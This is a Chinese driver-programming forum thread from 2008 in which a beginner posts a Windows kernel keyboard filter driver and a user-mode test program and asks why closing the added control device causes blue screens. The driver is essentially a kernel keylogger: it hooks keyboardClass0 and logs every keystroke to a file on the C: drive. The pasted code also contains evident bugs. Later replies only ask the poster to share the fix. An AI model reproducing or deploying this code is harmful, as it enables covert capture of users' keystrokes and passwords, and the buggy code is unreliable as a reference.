songjia8876
驱动牛犊
驱动牛犊
  • 注册日期2007-04-15
  • 最后登录2008-10-11
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望3点
  • 贡献值0点
  • 好评度2点
  • 原创分0分
  • 专家分0分
阅读:2434回复:4

郁闷,完了,我写的多设备键盘过滤驱动怎么老蓝屏?

楼主#
更多 发布于:2008-05-26 13:58
我刚接触驱动编程,碰到很多问题。
实在没办法了,请大家帮帮我吧。。
网上找到一PS/2口键盘的过滤驱动,我想让过滤驱动与RING3层通信,需要在DriverEntry()中再创建一个设备,这个设备专门与RING3 进行通信,但这个设备的创建出现了问题,无论是打开,关闭,都会蓝屏...不知哪儿出了问题,帮我看看吧,驱动代码很简单,我上传到附件了,下面是主要代码

//#include  <ntddk.h>
#include "kbhook.h"
#include "ScanCode.h"
#include   <windef.h>
int numPendingIrps=0;
//
//ICTOL 以及控制设备的相关变量
//
#define IOCTL_PASSPROCESSID \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
UNICODE_STRING  devNameUnicd;
UNICODE_STRING  devLinkUnicd;
PDEVICE_OBJECT  pDevice;  //控制设备的设备对象
NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp); //DeviceIoControl的处理函数

VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{      
  KTIMER kTimer;
  LARGE_INTEGER timeout;  
  PDEVICE_EXTENSION pKeyboradDeviceExtension;
  pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
  IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
  timeout.QuadPart=1000000;//1s
  KeInitializeTimer(&kTimer);
  while(numPendingIrps > 0)
  {
    KeSetTimer(&kTimer,timeout,NULL);
    KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
    
  }
  pKeyboradDeviceExtension->bThreadTerminate=TRUE;
  KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会
  KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
    Executive,KernelMode,FALSE,NULL);             //结束独立的记录线程
  ZwClose(pKeyboradDeviceExtension->hLogFile);      //关闭文件句柄
  IoDeleteDevice(theDriverObject->DeviceObject);    //删除设备对象
  
  IoDeleteSymbolicLink(&devLinkUnicd);
  IoDeleteDevice(pDevice);
  DbgPrint("My Driver Unloaded!");
  return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
  

  NTSTATUS status={0};
  int i;
  PDEVICE_EXTENSION pKeyboardDeviceExtension;
  
  IO_STATUS_BLOCK file_status;
  OBJECT_ATTRIBUTES obj_attrib;
  CCHAR ntNameFile[100]="\\DosDevices\\c:\\kbhook.txt";
  STRING ntNameString;
  UNICODE_STRING uFileName;
  
  for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
    
    theDriverObject->MajorFunction = DispatchPassDown;
  theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
  
  HookKeyboard(theDriverObject);
  //建立一个线程用来记录键盘动作
  InitThreadKeyLogger(theDriverObject);
  
  /////////////////////////////////////////////////////////////////////////////////////////////
  ////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////
  pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
  InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

  KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
  KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
  ////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////
  RtlInitAnsiString(&ntNameString,ntNameFile);
  RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
  InitializeObjectAttributes(&obj_attrib,&uFileName,
                OBJ_CASE_INSENSITIVE,
                NULL,NULL);
  
  status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
    GENERIC_WRITE,
    &obj_attrib,
    &file_status,
    NULL,
    FILE_ATTRIBUTE_NORMAL,
    0,
    FILE_OPEN_IF,
    FILE_SYNCHRONOUS_IO_NONALERT,
    NULL,
    0);
  RtlFreeUnicodeString(&uFileName);
  
  theDriverObject->DriverUnload=OnUnload;

  //NTSTATUS  Status;
  //PDEVICE_OBJECT  pDevice;
  RtlInitUnicodeString(&devNameUnicd,L"\\Device\\PANZER3");
  RtlInitUnicodeString(&devLinkUnicd,L"\\??\\PANZER3");//创建控制设备
  status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN,
      0,FALSE,&pDevice);
    if(!NT_SUCCESS(status))
  {
      DbgPrint(("Can not create device.\n"));
      return status;
  }
  status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd);
  if(!NT_SUCCESS(status))
  {
      DbgPrint(("Can not create device.SymbolicLink\n"));
      return status;
    }
  theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
        theDriverObject->MajorFunction[IRP_MJ_CREATE]=
           theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;
  DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice);
  return STATUS_SUCCESS;
  
}
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{   ///IRQL = passive level
  //建立过滤驱动对象
  PDEVICE_EXTENSION pKeyboardDeviceExtension;
  PDEVICE_OBJECT pKeyboardDeviceObject;
  CCHAR ntNameBuffer[50]="\\Device\\keyboardClass0";
  STRING ntNameString;
  UNICODE_STRING uKeyboardDevice;
  
  NTSTATUS status=IoCreateDevice(theDriverObject,
                sizeof(DEVICE_EXTENSION),
                NULL,
                FILE_DEVICE_KEYBOARD, //★注意这里
                0,
                TRUE,
                &pKeyboardDeviceObject);
  if(!NT_SUCCESS(status))
    return status;
  /////////// 设置新设备的标志与地层键盘设备标记相同
  pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
  pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
  //在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。
  //然而,如果创建了其它设备对象,则需要进行该清除工作。
  //对DEVICE_EXTENSION结构清0
  
  RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
  
  pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
  /////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////
  
  RtlInitAnsiString(&ntNameString,ntNameBuffer);
  RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
  //准备工作完成后放置过滤钩子
  IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
    &pKeyboardDeviceExtension->pKeyboardDevice);
  RtlFreeUnicodeString(&uKeyboardDevice);
  
  return STATUS_SUCCESS;
}

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)
{// IRQL = passive level
  PDEVICE_EXTENSION pKeyboardDeviceExtension;
  HANDLE hThread;
  NTSTATUS status;
  pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
  //////////////////////设置线程状态////////////////////////////////////
  pKeyboardDeviceExtension->bThreadTerminate=FALSE;
  ////////////创建一个线程用来记录////////////////////////////////////////
  status=PsCreateSystemThread(&hThread,
                (ACCESS_MASK)0,
                NULL,
                (HANDLE)0,
                NULL,
                ThreadKeyLogger,
                pKeyboardDeviceExtension);
  if(!NT_SUCCESS(status))
    return status;
  ///////////////////////////转换保存指向线程对象的指针////////////////////////
  ObReferenceObjectByHandle(hThread,
                THREAD_ALL_ACCESS,
                NULL,
                KernelMode,
                (PVOID*)&pKeyboardDeviceExtension->pThreadObject,
                NULL);
  ZwClose(hThread);
  return status;
}
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{   // IRQL = passive level
  IoSkipCurrentIrpStackLocation(pIrp);
  return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
  
}
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{  // IRQL = DISPATCH_LEVEL
  
  
  IoCopyCurrentIrpStackLocationToNext(pIrp);
  
  IoSetCompletionRoutine(pIrp,
    OnReadCompletion,
    theDeviceObject,
    TRUE,
    TRUE,
    TRUE);
  
  
  numPendingIrps++;  //纪录挂起的irp数目
  
  return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
  PKEYBOARD_INPUT_DATA keys;
  int numKeys;
  int i;
  KEY_DATA* kData;
  PDEVICE_EXTENSION pKeyboardDeviceExtension;
  pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
  if(pIrp->IoStatus.Status==STATUS_SUCCESS)
  {
    
    keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
    numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
    for( i=0;i<numKeys;i++)
    {
      if(keys.Flags==KEY_MAKE)
        DbgPrint("%s\n","Key Down,IrpCallBack FUN");
      kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
      kData->KeyData=(char)keys.MakeCode;
      kData->KeyFlags=(char)keys.Flags;
      /////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////
      ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
        &kData->ListEntry,
        &pKeyboardDeviceExtension->lockQueue);  //★注意同步
      KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
      
    }
    
  }
  if(pIrp->PendingReturned)
    IoMarkIrpPending(pIrp);
  numPendingIrps--;
  return pIrp->IoStatus.Status;
}
VOID ThreadKeyLogger(IN PVOID pContext)
{// IRQL = passive level
  PDEVICE_OBJECT pKeyboardDeviceObject;
  PDEVICE_EXTENSION pKeyboardDeviceExtension;
  PLIST_ENTRY pListEntry;
  KEY_DATA* kData;
  char keys[3]={0};
  
  pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;
  pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;
  //等待信号量,若信号量递增,则继续运行处理循环
  while(TRUE)
  {
    KeWaitForSingleObject(
      &pKeyboardDeviceExtension->semQueue,
      Executive,
      KernelMode,
      FALSE,
      NULL);
    //在链表中安全删除了最高顶端//
    pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
      &pKeyboardDeviceExtension->lockQueue);
    if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)
    {
      PsTerminateSystemThread(STATUS_SUCCESS);
    }
    kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
    
    ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
    ExFreePool(kData);  //删除内存
    if(keys!=0)
    {
      if(pKeyboardDeviceExtension->hLogFile!=NULL)
      {
        IO_STATUS_BLOCK io_status;
        NTSTATUS status;
        status=ZwWriteFile(
          pKeyboardDeviceExtension->hLogFile,
          NULL,
          NULL,
          NULL,
          &io_status,
          &keys,
          strlen(keys),
          NULL,
          NULL);
        if(status!=STATUS_SUCCESS)
          DbgPrint("write code to file fail!");
      }
    }    
  }
  return;
}
//////////ConvertScanCodeToKeyCode 函数用来转换接受的击键码

//
//控制设备的IOControl函数
//

 NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp)
{

    PIO_STACK_LOCATION  irpStack;
    NTSTATUS  Status;
    PVOID    InPutBuffer;
    ULONG  ioControlCode;
    ULONG  OutPutLen;
    PEPROCESS Process;
    
    ULONG IOPL = 1;
    HANDLE hProc;
    HANDLE *pBuff = NULL;
    Status=STATUS_SUCCESS;
    if(pDeviceObject != pDevice)
    {
    DbgPrint("keyboard filter!");
    IoSkipCurrentIrpStackLocation(pIrp);
  return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
  }
    irpStack=IoGetCurrentIrpStackLocation(pIrp);
    ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;
    switch(irpStack->MajorFunction)
    {
    case  IRP_MJ_CREATE:
      DbgPrint("Call IRP_MJ_CREATE\n");
      break;
    case  IRP_MJ_CLOSE:
      DbgPrint("Call IRP_MJ_CLOSE\n");
      break;
    case  IRP_MJ_DEVICE_CONTROL:
      OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;
      switch(ioControlCode)
      {
      case IOCTL_PASSPROCESSID:
        {
           /*_asm
           {
                mov dx, 0x64
                mov al, 0xFE
                out dx, al
          }*/
                             DbgPrint("ioControlCode\n");
          
        }
        break;
      default:
        break;
      }
      break;
    default:
      DbgPrint("no match control\n");
      break;
    }
    pIrp->IoStatus.Status = Status;
    pIrp->IoStatus.Information = 0;
    IoCompleteRequest (pIrp, IO_NO_INCREMENT);
    return  Status;
}


//////////////////////////完毕
打开控制设备的代码如下
#include "stdafx.h"
#include    <stdio.h>
#include    <winioctl.h>
#define IOCTL_PASSPROCESSID \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
ULONG   dwReturn;

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
   HANDLE hDevice=CreateFile("\\\\.\\PANZER3",GENERIC_READ | GENERIC_WRITE,
            0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,
            NULL);
    
    if(hDevice==INVALID_HANDLE_VALUE)
    MessageBox(NULL,"fail","fail",MB_OK);
  else
  {
        //DeviceIoControl(hDevice,IOCTL_PASSPROCESSID,NULL,0,
              //NULL,0,&dwReturn,NULL);
    
    MessageBox(NULL,"ok","ok",MB_OK);
    CloseHandle(hDevice);//到这里蓝屏 郁闷
    MessageBox(NULL,"closeHandle","ok",MB_OK);
  }
  return 0;
}
附件名称/大小 下载次数 最后更新
kbhookCode.rar (31KB)  86 2008-05-26 13:58
songjia8876
驱动牛犊
驱动牛犊
  • 注册日期2007-04-15
  • 最后登录2008-10-11
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望3点
  • 贡献值0点
  • 好评度2点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2008-05-26 15:45
问题得到解决
znsoft
管理员
管理员
  • 注册日期2001-03-23
  • 最后登录2023-10-25
  • 粉丝300
  • 关注6
  • 积分910分
  • 威望14796点
  • 贡献值7点
  • 好评度2410点
  • 原创分5分
  • 专家分100分
  • 社区居民
  • 最爱沙发
  • 社区明星
板凳#
发布于:2008-06-01 15:49
说一下原因可以启迪后来者
http://www.zndev.com 免费源码交换网 ----------------------------- 软件创造价值,驱动提供力量! 淡泊以明志,宁静以致远。 ---------------------------------- 勤用搜索,多查资料,先搜再问。
soc69
驱动牛犊
驱动牛犊
  • 注册日期2008-06-04
  • 最后登录2008-06-06
  • 粉丝0
  • 关注0
  • 积分170分
  • 威望18点
  • 贡献值0点
  • 好评度17点
  • 原创分0分
  • 专家分0分
地板#
发布于:2008-06-04 07:17
就是,这么长的代码,别人也花了不少时间帮你整理,公布一下答案摆
科技改变生活,合作成就你我。http://www.69soc.com
raybotics
驱动牛犊
驱动牛犊
  • 注册日期2008-09-05
  • 最后登录2009-02-11
  • 粉丝0
  • 关注0
  • 积分1分
  • 威望12点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2008-09-18 13:55
share it plz
游客

返回顶部